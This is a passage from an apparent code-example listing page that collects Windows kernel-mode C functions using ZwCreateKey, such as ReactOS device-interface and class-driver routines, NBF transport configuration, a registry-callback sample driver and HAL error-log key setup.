    UNICODE_STRING KeyName;
    OBJECT_ATTRIBUTES ObjectAttributes;
    ULONG LinkedValue;
    GUID DeviceGuid;

    if (SymbolicLinkName == NULL)
        return STATUS_INVALID_PARAMETER_1;

    DPRINT("IoSetDeviceInterfaceState('%wZ', %u)\n", SymbolicLinkName, Enable);

    /* Symbolic link name is \??\ACPI#PNP0501#1#{GUID}\ReferenceString */
    /* Get GUID from SymbolicLinkName */
    StartPosition = wcschr(SymbolicLinkName->Buffer, L'{');
    EndPosition = wcschr(SymbolicLinkName->Buffer, L'}');
    if (!StartPosition ||!EndPosition || StartPosition > EndPosition)
    {
        DPRINT1("IoSetDeviceInterfaceState() returning STATUS_INVALID_PARAMETER_1\n");
        return STATUS_INVALID_PARAMETER_1;
    }
    GuidString.Buffer = StartPosition;
    GuidString.MaximumLength = GuidString.Length = (USHORT)((ULONG_PTR)(EndPosition + 1) - (ULONG_PTR)StartPosition);

    SymLink.Buffer = SymbolicLinkName->Buffer;
    SymLink.MaximumLength = SymLink.Length = (USHORT)((ULONG_PTR)(EndPosition + 1) - (ULONG_PTR)SymLink.Buffer);
    DPRINT("IoSetDeviceInterfaceState('%wZ', %u)\n", SymbolicLinkName, Enable);

    Status = OpenRegistryHandlesFromSymbolicLink(SymbolicLinkName,
                                                 KEY_CREATE_SUB_KEY,
                                                 NULL,
                                                 NULL,
                                                 &InstanceHandle);
    if (!NT_SUCCESS(Status))
        return Status;

    RtlInitUnicodeString(&KeyName, L"Control");
    InitializeObjectAttributes(&ObjectAttributes,
                               &KeyName,
                               OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                               InstanceHandle,
                               NULL);
    Status = ZwCreateKey(&ControlHandle,
                         KEY_SET_VALUE,
                         &ObjectAttributes,
                         0,
                         NULL,
                         REG_OPTION_VOLATILE,
                         NULL);
    ZwClose(InstanceHandle);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("Failed to create the Control subkey\n");
        return Status;
    }

    LinkedValue = (Enable ? 1 : 0);

    RtlInitUnicodeString(&KeyName, L"Linked");
    Status = ZwSetValueKey(ControlHandle,
                           &KeyName,
                           0,
                           REG_DWORD,
                           &LinkedValue,
                           sizeof(ULONG));
    ZwClose(ControlHandle);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("Failed to write the Linked value\n");
        return Status;
    }

    /* Get pointer to the PDO */
    Status = IoGetDeviceObjectPointer(
        &SymLink,
        0, /* DesiredAccess */
        &FileObject,
        &PhysicalDeviceObject);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("IoGetDeviceObjectPointer() failed with status 0x%08lx\n", Status);
        return Status;
    }

    Status = RtlGUIDFromString(&GuidString, &DeviceGuid);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("RtlGUIDFromString() failed with status 0x%08lx\n", Status);
        return Status;
    }

    EventGuid = Enable ? &GUID_DEVICE_INTERFACE_ARRIVAL : &GUID_DEVICE_INTERFACE_REMOVAL;
    IopNotifyPlugPlayNotification(
        PhysicalDeviceObject,
        EventCategoryDeviceInterfaceChange,
        EventGuid,
        &DeviceGuid,
        (PVOID)SymbolicLinkName);

    ObDereferenceObject(FileObject);
    DPRINT("Status %x\n", Status);
    return STATUS_SUCCESS;
}
예제 #17
0
NTSTATUS
NbfConfigureTransport (
    IN PUNICODE_STRING RegistryPath,
    IN PCONFIG_DATA * ConfigurationInfoPtr
    )
/*++

Routine Description:

    This routine is called by NBF to get information from the configuration
    management routines. We read the registry, starting at RegistryPath,
    to get the parameters. If they don't exist, we use the defaults
    set in nbfcnfg.h file.

Arguments:

    RegistryPath - The name of NBF's node in the registry.

    ConfigurationInfoPtr - A pointer to the configuration information structure.

Return Value:

    Status - STATUS_SUCCESS if everything OK, STATUS_INSUFFICIENT_RESOURCES
            otherwise.

--*/
{

    NTSTATUS OpenStatus;
    HANDLE ParametersHandle;
    HANDLE NbfConfigHandle;
    NTSTATUS Status;
    ULONG Disposition;
    PWSTR RegistryPathBuffer;
    OBJECT_ATTRIBUTES TmpObjectAttributes;
    PCONFIG_DATA ConfigurationInfo;

    DECLARE_STRING(InitRequests);
    DECLARE_STRING(InitLinks);
    DECLARE_STRING(InitConnections);
    DECLARE_STRING(InitAddressFiles);
    DECLARE_STRING(InitAddresses);

    DECLARE_STRING(MaxRequests);
    DECLARE_STRING(MaxLinks);
    DECLARE_STRING(MaxConnections);
    DECLARE_STRING(MaxAddressFiles);
    DECLARE_STRING(MaxAddresses);

    DECLARE_STRING(InitPackets);
    DECLARE_STRING(InitReceivePackets);
    DECLARE_STRING(InitReceiveBuffers);
    DECLARE_STRING(InitUIFrames);

    DECLARE_STRING(SendPacketPoolSize);
    DECLARE_STRING(ReceivePacketPoolSize);
    DECLARE_STRING(MaxMemoryUsage);

    DECLARE_STRING(MinimumT1Timeout);
    DECLARE_STRING(DefaultT1Timeout);
    DECLARE_STRING(DefaultT2Timeout);
    DECLARE_STRING(DefaultTiTimeout);
    DECLARE_STRING(LlcRetries);
    DECLARE_STRING(LlcMaxWindowSize);
    DECLARE_STRING(MaximumIncomingFrames);

    DECLARE_STRING(NameQueryRetries);
    DECLARE_STRING(NameQueryTimeout);
    DECLARE_STRING(AddNameQueryRetries);
    DECLARE_STRING(AddNameQueryTimeout);
    DECLARE_STRING(GeneralRetries);
    DECLARE_STRING(GeneralTimeout);
    DECLARE_STRING(WanNameQueryRetries);

    DECLARE_STRING(UseDixOverEthernet);
    DECLARE_STRING(QueryWithoutSourceRouting);
    DECLARE_STRING(AllRoutesNameRecognized);
    DECLARE_STRING(MinimumSendWindowLimit);

    //
    // Open the registry.
    //

    InitializeObjectAttributes(
        &TmpObjectAttributes,
        RegistryPath,               // name
        OBJ_CASE_INSENSITIVE,       // attributes
        NULL,                       // root
        NULL                        // security descriptor
        );

    Status = ZwCreateKey(
                 &NbfConfigHandle,
                 KEY_WRITE,
                 &TmpObjectAttributes,
                 0,                 // title index
                 NULL,              // class
                 0,                 // create options
                 &Disposition);     // disposition

    if (!NT_SUCCESS(Status)) {
        NbfPrint1("NBF: Could not open/create NBF key: %lx\n", Status);
        return Status;
    }

    IF_NBFDBG (NBF_DEBUG_REGISTRY) {
        NbfPrint2("%s NBF key: %lx\n",
            (Disposition == REG_CREATED_NEW_KEY) ? "created" : "opened",
            NbfConfigHandle);
    }


    OpenStatus = NbfOpenParametersKey (NbfConfigHandle, &ParametersHandle);

    if (OpenStatus != STATUS_SUCCESS) {
        return OpenStatus;
    }

    //
    // Read in the NDIS binding information (if none is present
    // the array will be filled with all known drivers).
    //
    // NbfReadLinkageInformation expects a null-terminated path,
    // so we have to create one from the UNICODE_STRING.
    //

    RegistryPathBuffer = (PWSTR)ExAllocatePoolWithTag(
                                    NonPagedPool,
                                    RegistryPath->Length + sizeof(WCHAR),
                                    NBF_MEM_TAG_REGISTRY_PATH);
    if (RegistryPathBuffer == NULL) {
        NbfCloseParametersKey (ParametersHandle);
        return STATUS_INSUFFICIENT_RESOURCES;
    }
    RtlCopyMemory (RegistryPathBuffer, RegistryPath->Buffer, RegistryPath->Length);
    *(PWCHAR)(((PUCHAR)RegistryPathBuffer)+RegistryPath->Length) = (WCHAR)'\0';

    NbfReadLinkageInformation (RegistryPathBuffer, ConfigurationInfoPtr);

    if (*ConfigurationInfoPtr == NULL) {
        ExFreePool (RegistryPathBuffer);
        NbfCloseParametersKey (ParametersHandle);
        return STATUS_INSUFFICIENT_RESOURCES;
    }
    ConfigurationInfo = *ConfigurationInfoPtr;


    //
    // Configure the initial values for some NBF resources.
    //

    ConfigurationInfo->InitRequests = 1;
    ConfigurationInfo->InitLinks = 2;
    ConfigurationInfo->InitConnections = 2;
    ConfigurationInfo->InitAddressFiles = 0;
    ConfigurationInfo->InitAddresses = 0;

    //
    // These are the initial values; remember that the
    // resources above also allocate some of these each
    // time they are allocated (shown in the comment).
    //

    ConfigurationInfo->InitPackets = 30;         // + link + 2*conn
    ConfigurationInfo->InitReceivePackets = 10;  // + link + addr
    ConfigurationInfo->InitReceiveBuffers = 5;   // + addr
    ConfigurationInfo->InitUIFrames = 5;         // + addr + conn

    //
    // Set the size of the packet pools and the total
    // allocateable by NBF.
    //

    ConfigurationInfo->SendPacketPoolSize = 100;
    ConfigurationInfo->ReceivePacketPoolSize = 30;
    ConfigurationInfo->MaxMemoryUsage = 0;       // no limit


    //
    // Now initialize the timeout etc. values.
    //
    
    ConfigurationInfo->MinimumT1Timeout = DLC_MINIMUM_T1;
    ConfigurationInfo->DefaultT1Timeout = DLC_DEFAULT_T1;
    ConfigurationInfo->DefaultT2Timeout = DLC_DEFAULT_T2;
    ConfigurationInfo->DefaultTiTimeout = DLC_DEFAULT_TI;
    ConfigurationInfo->LlcRetries = DLC_RETRIES;
    ConfigurationInfo->LlcMaxWindowSize = DLC_WINDOW_LIMIT;
    ConfigurationInfo->MaximumIncomingFrames = 4;
    ConfigurationInfo->NameQueryRetries = NAME_QUERY_RETRIES;
    ConfigurationInfo->NameQueryTimeout = NAME_QUERY_TIMEOUT;
    ConfigurationInfo->AddNameQueryRetries = ADD_NAME_QUERY_RETRIES;
    ConfigurationInfo->AddNameQueryTimeout = ADD_NAME_QUERY_TIMEOUT;
    ConfigurationInfo->GeneralRetries = NAME_QUERY_RETRIES;
    ConfigurationInfo->GeneralTimeout = NAME_QUERY_TIMEOUT;
    ConfigurationInfo->WanNameQueryRetries = WAN_NAME_QUERY_RETRIES;

    ConfigurationInfo->UseDixOverEthernet = 0;
    ConfigurationInfo->QueryWithoutSourceRouting = 0;
    ConfigurationInfo->AllRoutesNameRecognized = 0;
    ConfigurationInfo->MinimumSendWindowLimit = 2;


    //
    // Now read the optional "hidden" parameters; if these do
    // not exist then the current values are used. Note that
    // the current values will be 0 unless they have been
    // explicitly initialized above.
    //
    // NOTE: These macros expect "ConfigurationInfo" and
    // "ParametersHandle" to exist when they are expanded.
    //

    READ_HIDDEN_CONFIG (InitRequests);
    READ_HIDDEN_CONFIG (InitLinks);
    READ_HIDDEN_CONFIG (InitConnections);
    READ_HIDDEN_CONFIG (InitAddressFiles);
    READ_HIDDEN_CONFIG (InitAddresses);

    READ_HIDDEN_CONFIG (MaxRequests);
    READ_HIDDEN_CONFIG (MaxLinks);
    READ_HIDDEN_CONFIG (MaxConnections);
    READ_HIDDEN_CONFIG (MaxAddressFiles);
    READ_HIDDEN_CONFIG (MaxAddresses);

    READ_HIDDEN_CONFIG (InitPackets);
    READ_HIDDEN_CONFIG (InitReceivePackets);
    READ_HIDDEN_CONFIG (InitReceiveBuffers);
    READ_HIDDEN_CONFIG (InitUIFrames);

    READ_HIDDEN_CONFIG (SendPacketPoolSize);
    READ_HIDDEN_CONFIG (ReceivePacketPoolSize);
    READ_HIDDEN_CONFIG (MaxMemoryUsage);

    READ_HIDDEN_CONFIG (MinimumT1Timeout);
    READ_HIDDEN_CONFIG (DefaultT1Timeout);
    READ_HIDDEN_CONFIG (DefaultT2Timeout);
    READ_HIDDEN_CONFIG (DefaultTiTimeout);
    READ_HIDDEN_CONFIG (LlcRetries);
    READ_HIDDEN_CONFIG (LlcMaxWindowSize);
    READ_HIDDEN_CONFIG (MaximumIncomingFrames);

    READ_HIDDEN_CONFIG (NameQueryRetries);
    READ_HIDDEN_CONFIG (NameQueryTimeout);
    READ_HIDDEN_CONFIG (AddNameQueryRetries);
    READ_HIDDEN_CONFIG (AddNameQueryTimeout);
    READ_HIDDEN_CONFIG (GeneralRetries);
    READ_HIDDEN_CONFIG (GeneralTimeout);
    READ_HIDDEN_CONFIG (WanNameQueryRetries);

    READ_HIDDEN_CONFIG (UseDixOverEthernet);
    READ_HIDDEN_CONFIG (QueryWithoutSourceRouting);
    READ_HIDDEN_CONFIG (AllRoutesNameRecognized);
    READ_HIDDEN_CONFIG (MinimumSendWindowLimit);


    //
    // Print out some config info, to make sure it is read right.
    //

    IF_NBFDBG (NBF_DEBUG_REGISTRY) {
       NbfPrint2("Links: init %d, max %d\n",
                     ConfigurationInfo->InitLinks,
                     ConfigurationInfo->MaxLinks);
       NbfPrint3("Timeouts (NBF ticks): T1 %d, T2 %d, Ti %d\n",
                     ConfigurationInfo->DefaultT1Timeout / SHORT_TIMER_DELTA,
                     ConfigurationInfo->DefaultT2Timeout / SHORT_TIMER_DELTA,
                     ConfigurationInfo->DefaultTiTimeout / LONG_TIMER_DELTA);
       NbfPrint2("Pools: send %d, receive %d\n",
                     ConfigurationInfo->SendPacketPoolSize,
                     ConfigurationInfo->ReceivePacketPoolSize);
       NbfPrint1("Max mem %d\n",
                     ConfigurationInfo->MaxMemoryUsage);
       NbfPrint2("NQRetries %d, NQTimeout %d\n",
                     ConfigurationInfo->NameQueryRetries,
                     ConfigurationInfo->NameQueryTimeout / SHORT_TIMER_DELTA);
    }

    //
    // Save the "hidden" parameters, these may not exist in
    // the registry.
    //
    // NOTE: These macros expect "ConfigurationInfo" and
    // "ParametersHandle" to exist when they are expanded.
    //

    //
    // 5/22/92 - don't write the parameters that are set
    // based on Size, since otherwise these will overwrite
    // those values since hidden parameters are set up
    // after the Size-based configuration is done.
    //

    WRITE_HIDDEN_CONFIG (MaxRequests);
    WRITE_HIDDEN_CONFIG (MaxLinks);
    WRITE_HIDDEN_CONFIG (MaxConnections);
    WRITE_HIDDEN_CONFIG (MaxAddressFiles);
    WRITE_HIDDEN_CONFIG (MaxAddresses);

    WRITE_HIDDEN_CONFIG (MinimumT1Timeout);
    WRITE_HIDDEN_CONFIG (DefaultT1Timeout);
    WRITE_HIDDEN_CONFIG (DefaultT2Timeout);
    WRITE_HIDDEN_CONFIG (DefaultTiTimeout);
    WRITE_HIDDEN_CONFIG (LlcRetries);
    WRITE_HIDDEN_CONFIG (LlcMaxWindowSize);
    WRITE_HIDDEN_CONFIG (MaximumIncomingFrames);

    WRITE_HIDDEN_CONFIG (NameQueryRetries);
    WRITE_HIDDEN_CONFIG (NameQueryTimeout);
    WRITE_HIDDEN_CONFIG (AddNameQueryRetries);
    WRITE_HIDDEN_CONFIG (AddNameQueryTimeout);
    WRITE_HIDDEN_CONFIG (GeneralRetries);
    WRITE_HIDDEN_CONFIG (GeneralTimeout);
    WRITE_HIDDEN_CONFIG (WanNameQueryRetries);

    WRITE_HIDDEN_CONFIG (UseDixOverEthernet);
    WRITE_HIDDEN_CONFIG (QueryWithoutSourceRouting);
    WRITE_HIDDEN_CONFIG (AllRoutesNameRecognized);

    // ZwFlushKey (ParametersHandle);

    ExFreePool (RegistryPathBuffer);
    NbfCloseParametersKey (ParametersHandle);
    ZwClose (NbfConfigHandle);

    return STATUS_SUCCESS;

}   /* NbfConfigureTransport */
예제 #18
0
파일: utils.c 프로젝트: hoangduit/reactos
NTSTATUS NTAPI ClassSetDeviceParameter(
    IN PFUNCTIONAL_DEVICE_EXTENSION FdoExtension,
    IN PWSTR SubkeyName OPTIONAL,
    IN PWSTR ParameterName,
    IN ULONG ParameterValue)
{
    NTSTATUS                 status;
    HANDLE                   deviceParameterHandle;
    HANDLE                   deviceSubkeyHandle;

    PAGED_CODE();

    //
    // open the given parameter
    //

    status = IoOpenDeviceRegistryKey(FdoExtension->LowerPdo,
                                     PLUGPLAY_REGKEY_DEVICE,
                                     KEY_READ | KEY_WRITE,
                                     &deviceParameterHandle);

    if (NT_SUCCESS(status) && (SubkeyName != NULL)) {

        UNICODE_STRING subkeyName;
        OBJECT_ATTRIBUTES objectAttributes;

        RtlInitUnicodeString(&subkeyName, SubkeyName);
        InitializeObjectAttributes(&objectAttributes,
                                   &subkeyName,
                                   OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                                   deviceParameterHandle,
                                   NULL);

        status = ZwCreateKey(&deviceSubkeyHandle,
                             KEY_READ | KEY_WRITE,
                             &objectAttributes,
                             0, NULL, 0, NULL);
        if (!NT_SUCCESS(status)) {
            ZwClose(deviceParameterHandle);
        }

    }

    if (NT_SUCCESS(status)) {

        status = RtlWriteRegistryValue(
            RTL_REGISTRY_HANDLE,
            (PWSTR) (SubkeyName ?
                     deviceSubkeyHandle :
                     deviceParameterHandle),
            ParameterName,
            REG_DWORD,
            &ParameterValue,
            sizeof(ULONG));

        //
        // close what we open
        //

        if (SubkeyName) {
            ZwClose(deviceSubkeyHandle);
        }

        ZwClose(deviceParameterHandle);
    }

    return status;

} // end ClassSetDeviceParameter()
예제 #19
0
NTSTATUS 
DoCallbackSamples(
    _In_ PDEVICE_OBJECT DeviceObject,
    _In_ PIRP Irp
    )
/*++

Routine Description:

    This routine creates the root test key and then invokes the sample.
    It records the results of each sample in an array that it returns to
    the usermode program.

Arguments:

    DeviceObject - The device object receiving the request.

    Irp - The request packet.
    
Return Value:

    NTSTATUS

--*/
{
    NTSTATUS Status;
    PIO_STACK_LOCATION IrpStack;
    ULONG OutputBufferLength;
    PDO_KERNELMODE_SAMPLES_OUTPUT Output;
    UNICODE_STRING KeyPath;
    OBJECT_ATTRIBUTES KeyAttributes;

    UNREFERENCED_PARAMETER(DeviceObject);

    //
    // Get the output buffer from the irp and check it is as large as expected.
    //
    
    IrpStack = IoGetCurrentIrpStackLocation(Irp);

    OutputBufferLength = IrpStack->Parameters.DeviceIoControl.OutputBufferLength;

    if (OutputBufferLength < sizeof (DO_KERNELMODE_SAMPLES_OUTPUT)) {
        Status = STATUS_INVALID_PARAMETER;
        goto Exit;
    }

    Output = (PDO_KERNELMODE_SAMPLES_OUTPUT) Irp->AssociatedIrp.SystemBuffer;

    //
    // Clean up test keys in case the sample terminated uncleanly.
    //

    DeleteTestKeys();

    //
    // Create the root key and the modified root key
    //
    
    RtlInitUnicodeString(&KeyPath, ROOT_KEY_ABS_PATH);
    InitializeObjectAttributes(&KeyAttributes,
                               &KeyPath,
                               OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                               NULL,
                               NULL);

    Status = ZwCreateKey(&g_RootKey,
                         KEY_ALL_ACCESS,
                         &KeyAttributes,
                         0,
                         NULL,
                         0,
                         NULL);

    if (!NT_SUCCESS(Status)) {
        ErrorPrint("ZwCreateKey failed. Status 0x%x", Status);
        return Status;
    }

    //
    // Call each demo and record the results in the Output->SampleResults
    // array
    //

    Output->SampleResults[KERNELMODE_SAMPLE_PRE_NOTIFICATION_BLOCK] =
        PreNotificationBlockSample();

    Output->SampleResults[KERNELMODE_SAMPLE_PRE_NOTIFICATION_BYPASS] =
        PreNotificationBypassSample();

    Output->SampleResults[KERNELMODE_SAMPLE_POST_NOTIFICATION_OVERRIDE_SUCCESS] =
        PostNotificationOverrideSuccessSample();

    Output->SampleResults[KERNELMODE_SAMPLE_POST_NOTIFICATION_OVERRIDE_ERROR] =
        PostNotificationOverrideErrorSample();

    Output->SampleResults[KERNELMODE_SAMPLE_TRANSACTION_ENLIST] =
        TransactionEnlistSample();

    Output->SampleResults[KERNELMODE_SAMPLE_TRANSACTION_REPLAY] =
        TransactionReplaySample();

    Output->SampleResults[KERNELMODE_SAMPLE_SET_CALL_CONTEXT] =
        SetObjectContextSample();

    Output->SampleResults[KERNELMODE_SAMPLE_SET_OBJECT_CONTEXT] =
        SetCallContextSample();

    Output->SampleResults[KERNELMODE_SAMPLE_MULTIPLE_ALTITUDE_BLOCK_DURING_PRE] =
        MultipleAltitudeBlockDuringPreSample();

    Output->SampleResults[KERNELMODE_SAMPLE_MULTIPLE_ALTITUDE_INTERNAL_INVOCATION] =
        MultipleAltitudeInternalInvocationSample();

    Output->SampleResults[KERNELMODE_SAMPLE_VERSION_CREATE_OPEN_V1] =
        CreateOpenV1Sample();

    Irp->IoStatus.Information = sizeof(DO_KERNELMODE_SAMPLES_OUTPUT);

  Exit:

    if (g_RootKey) {
        ZwDeleteKey(g_RootKey);
        ZwClose(g_RootKey);
    }

    InfoPrint("");
    InfoPrint("Kernel Mode Samples End");
    InfoPrint("");
    
    return Status;
}
// ring0 code
NTSTATUS SetKeyValue(PWCHAR regKey, PWCHAR regKey2, ULONG_PTR keylen, PWCHAR subitem, ULONG_PTR subitemlen, PBYTE regValue, ULONG_PTR len, ULONG_PTR type) 
{
    HANDLE      hKey = 0, hKey2 = 0;
    ULONG       ulResult;    
    NTSTATUS    Status;
    CHAR byArr[8]   = {0};
    OBJECT_ATTRIBUTES Obj_Attr;
    UNICODE_STRING UStValueKey;
    UNICODE_STRING UStKeyName;
	UNICODE_STRING UStKeyName2;

	RtlInitUnicodeString(&UStKeyName, regKey);

	RtlInitUnicodeString(&UStKeyName2, regKey2);
	if(keylen > 0) UStKeyName2.Length = keylen;

	RtlInitUnicodeString(&UStValueKey, subitem);
	if(subitemlen > 0) UStValueKey.Length = subitemlen;

    InitializeObjectAttributes(&Obj_Attr, &UStKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL );

    Status = ZwCreateKey( &hKey, KEY_ALL_ACCESS, &Obj_Attr, 0, NULL, REG_OPTION_NON_VOLATILE, &ulResult );	
    if ( !NT_SUCCESS(Status) ) 
	{
        KdPrint(( "ZwCreateKey = %x, %ws\n", Status, UStKeyName.Buffer));
        return Status;
    }
	else 
	{
        if( ulResult == REG_CREATED_NEW_KEY )
            KdPrint(("1 new\n"));
        else if( ulResult == REG_OPENED_EXISTING_KEY ) 
            KdPrint(("1 open\n"));
    }
 
    InitializeObjectAttributes(&Obj_Attr, &UStKeyName2, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, hKey, NULL );

    Status = ZwCreateKey( &hKey2, KEY_ALL_ACCESS, &Obj_Attr, 0, NULL, REG_OPTION_NON_VOLATILE, &ulResult );	
    if ( !NT_SUCCESS(Status) ) 
	{
        KdPrint(( "ZwCreateKey = %x, %ws\n", Status, UStKeyName.Buffer));
        return Status;
    }
	else 
	{
        if( ulResult == REG_CREATED_NEW_KEY )
            KdPrint(("2 new\n"));
        else if( ulResult == REG_OPENED_EXISTING_KEY ) 
            KdPrint(("2 open\n"));
    }

    do 
	{
        Status = ZwSetValueKey(hKey2, &UStValueKey, 0, type, regValue, len );
        if ( !NT_SUCCESS(Status) ) 
		{
            KdPrint(( "ZwSetValueKey = %x\n", Status));
            break;
        }
    } while ( FALSE );
     
    if ( hKey2 ) 
        ZwClose(hKey2);

    if ( hKey ) 
        ZwClose(hKey);
    
    return Status;
}
예제 #21
0
VOID
HalpCreateLogKeys(
    VOID
    )
/*++

Routine Description:

Arguments:

Return Value:

--*/
{

    UNICODE_STRING      unicodeString;
    OBJECT_ATTRIBUTES   objectAttributes;
    HANDLE              hErrKey;
    NTSTATUS            status;
    ULONG               disposition, i, j;

    PKEY_VALUE_FULL_INFORMATION  ValueInfo;
    UCHAR               buffer [sizeof(PPCI_REGISTRY_INFO) + 99];

    //
    // Now we can add subkeys to the registry at
    //
    //     \\Registry\\Machine\\System\\CurrentControlSet\\Services\\EventLog\\System\\*
    //
    // which will allow our bus and interrupt handlers
    // to log errors as they occur. All of these keys
    // have the REG_OPTION_NON_VOLATILE attribute so
    // that the key and its values are preserved across
    // reboots. If the keys already exist, then they
    // are just opened and then closed without affecting
    // their values.
    //
    // The subkeys created here are
    //
    //    - FASTseries
    //        - Memory
    //        - Pci
    //        - Processor
    //
    // Refer to the individual bus and interrupt handlers
    // for details about additional subkeys and values
    // logged.
    //

    //
    // FASTseries key
    //

    RtlInitUnicodeString (&unicodeString, rgzNeTpowerKey);
    InitializeObjectAttributes (
        &objectAttributes,
        &unicodeString,
        OBJ_CASE_INSENSITIVE,
        NULL,
        NULL);


    status = ZwCreateKey (&hErrKey,
                          KEY_WRITE,
                          &objectAttributes,
                          0,
                          NULL,
                          REG_OPTION_NON_VOLATILE,
                          &disposition);

    if (!NT_SUCCESS(status)) {
        return ;
    }

    ZwClose(hErrKey);

    //
    // MEMORY:
    //
    // Create (or open) the registry
    // keys used for error logging and
    // get the values (if any) and save
    // them in the appropriate variable
    // that will be referenced by the
    // bus and interrupt handlers.
    //

    for (i = 0; i < MEMORY_ERROR_LOG_KEY_MAX; i++) {

        RtlInitUnicodeString(&unicodeString, rgzMemoryErrorLogKeys[i]);
        InitializeObjectAttributes (&objectAttributes,
                                    &unicodeString,
                                    OBJ_CASE_INSENSITIVE,
                                    NULL,
                                    NULL);

        status = ZwCreateKey (&hErrKey,
                              KEY_WRITE,
                              &objectAttributes,
                              0,
                              NULL,
                              REG_OPTION_NON_VOLATILE,
                              &disposition);

        if (!NT_SUCCESS(status)) {
            return ;
        }

        if (i) {

            ValueInfo = (PKEY_VALUE_FULL_INFORMATION) buffer;

            for (j = 0; j < MEMORY_ERROR_LOG_VALUEKEY_MAX; j++) {

                RtlInitUnicodeString(&unicodeString, rgzMemoryErrorLogValueKeys[j]);
                status = ZwQueryValueKey(hErrKey,
                                         &unicodeString,
                                         KeyValueFullInformation,
                                         ValueInfo,
                                         sizeof(buffer),
                                         &disposition);

                //
                // If we are not successful, then
                // the value key must not exist so
                // let's create and initialize it
                // and then go to the next valuekey
                //
                // If the value key is the errors
                // since last reboot, we should clear
                // the registry value and start from
                // 0.
                //

                if (!NT_SUCCESS(status) || (j == MEMORY_ERROR_LOG_VALUEKEY_INDEX1) ) {

                    switch (i) {

                        case MEMORY_ERROR_LOG_KEY_CE:

                        HalpMemoryCeLogVariable[j] = 0;

                        ZwSetValueKey(hErrKey,
                                      &unicodeString,
                                      0,
                                      REG_DWORD,
                                      &HalpMemoryCeLogVariable[j],
                                      sizeof(HalpMemoryCeLogVariable[j]));
                        break;

                        case MEMORY_ERROR_LOG_KEY_UE:

                        HalpMemoryUeLogVariable[j] = 0;

                        ZwSetValueKey(hErrKey,
                                      &unicodeString,
                                      0,
                                      REG_DWORD,
                                      &HalpMemoryUeLogVariable[j],
                                      sizeof(HalpMemoryUeLogVariable[j]));
                        break;

                        case MEMORY_ERROR_LOG_KEY_MCE:

                        HalpMemoryMceLogVariable[j] = 0;

                        ZwSetValueKey(hErrKey,
                                      &unicodeString,
                                      0,
                                      REG_DWORD,
                                      &HalpMemoryMceLogVariable[j],
                                      sizeof(HalpMemoryMceLogVariable[j]));
                        break;

                        case MEMORY_ERROR_LOG_KEY_MUE:

                        HalpMemoryMueLogVariable[j] = 0;

                        ZwSetValueKey(hErrKey,
                                      &unicodeString,
                                      0,
                                      REG_DWORD,
                                      &HalpMemoryMueLogVariable[j],
                                      sizeof(HalpMemoryMueLogVariable[j]));
                        break;

                    }

                    continue ;
                }

                //
                // Otherwise, let's initialize the
                // appropriate variable that the bus
                // and interrupt handlers will reference
                // and update
                //

                switch (i) {

                    case MEMORY_ERROR_LOG_KEY_CE:

                    HalpMemoryCeLogVariable[j] = *((PULONG)((PUCHAR)ValueInfo + ValueInfo->DataOffset));
                    break;

                    case MEMORY_ERROR_LOG_KEY_UE:

                    HalpMemoryUeLogVariable[j] = *((PULONG)((PUCHAR)ValueInfo + ValueInfo->DataOffset));
                    break;

                    case MEMORY_ERROR_LOG_KEY_MCE:

                    HalpMemoryMceLogVariable[j] = *((PULONG)((PUCHAR)ValueInfo + ValueInfo->DataOffset));
                    break;

                    case MEMORY_ERROR_LOG_KEY_MUE:

                    HalpMemoryMueLogVariable[j] = *((PULONG)((PUCHAR)ValueInfo + ValueInfo->DataOffset));
                    break;

                }

            }

        }

        ZwClose(hErrKey);

    }

    //
    // PCI:
    //
    // Create (or open) the registry
    // keys used for error logging and
    // get the values (if any) and save
    // them in the appropriate variable
    // that will be referenced by the
    // bus and interrupt handlers.
    //

    for (i = 0; i < PCI_ERROR_LOG_KEY_MAX; i++) {

        RtlInitUnicodeString(&unicodeString, rgzPciErrorLogKeys[i]);
        InitializeObjectAttributes (&objectAttributes,
                                    &unicodeString,
                                    OBJ_CASE_INSENSITIVE,
                                    NULL,
                                    NULL);

        status = ZwCreateKey (&hErrKey,
                              KEY_WRITE,
                              &objectAttributes,
                              0,
                              NULL,
                              REG_OPTION_NON_VOLATILE,
                              &disposition);

        if (!NT_SUCCESS(status)) {
            return ;
        }

        if (i) {

            ValueInfo = (PKEY_VALUE_FULL_INFORMATION) buffer;

            for (j = 0; j < PCI_ERROR_LOG_VALUEKEY_MAX; j++) {

                RtlInitUnicodeString(&unicodeString, rgzPciErrorLogValueKeys[j]);
                status = ZwQueryValueKey(hErrKey,
                                         &unicodeString,
                                         KeyValueFullInformation,
                                         ValueInfo,
                                         sizeof(buffer),
                                         &disposition);

                //
                // If we are not successful, then
                // the value key must not exist so
                // let's create and initialize it
                // and then go to the next valuekey
                //

                if (!NT_SUCCESS(status) || (j == PCI_ERROR_LOG_VALUEKEY_INDEX1) ) {

                    switch(i) {

                        case PCI_ERROR_LOG_KEY_RMA:

                        HalpPciRmaLogVariable[j] = 0;

                        ZwSetValueKey(hErrKey,
                                      &unicodeString,
                                      0,
                                      REG_DWORD,
                                      &HalpPciRmaLogVariable[j],
                                      sizeof(HalpPciRmaLogVariable[j]));

                        break;

                        case PCI_ERROR_LOG_KEY_MPE:

                        HalpPciMpeLogVariable[j] = 0;

                        ZwSetValueKey(hErrKey,
                                      &unicodeString,
                                      0,
                                      REG_DWORD,
                                      &HalpPciMpeLogVariable[j],
                                      sizeof(HalpPciMpeLogVariable[j]));

                        break;

                        case PCI_ERROR_LOG_KEY_RER:

                        HalpPciRerLogVariable[j] = 0;

                        ZwSetValueKey(hErrKey,
                                      &unicodeString,
                                      0,
                                      REG_DWORD,
                                      &HalpPciRerLogVariable[j],
                                      sizeof(HalpPciRerLogVariable[j]));

                        break;

                        case PCI_ERROR_LOG_KEY_RTA:

                        HalpPciRtaLogVariable[j] = 0;

                        ZwSetValueKey(hErrKey,
                                      &unicodeString,
                                      0,
                                      REG_DWORD,
                                      &HalpPciRtaLogVariable[j],
                                      sizeof(HalpPciRtaLogVariable[j]));

                        break;

                        case PCI_ERROR_LOG_KEY_IAE:

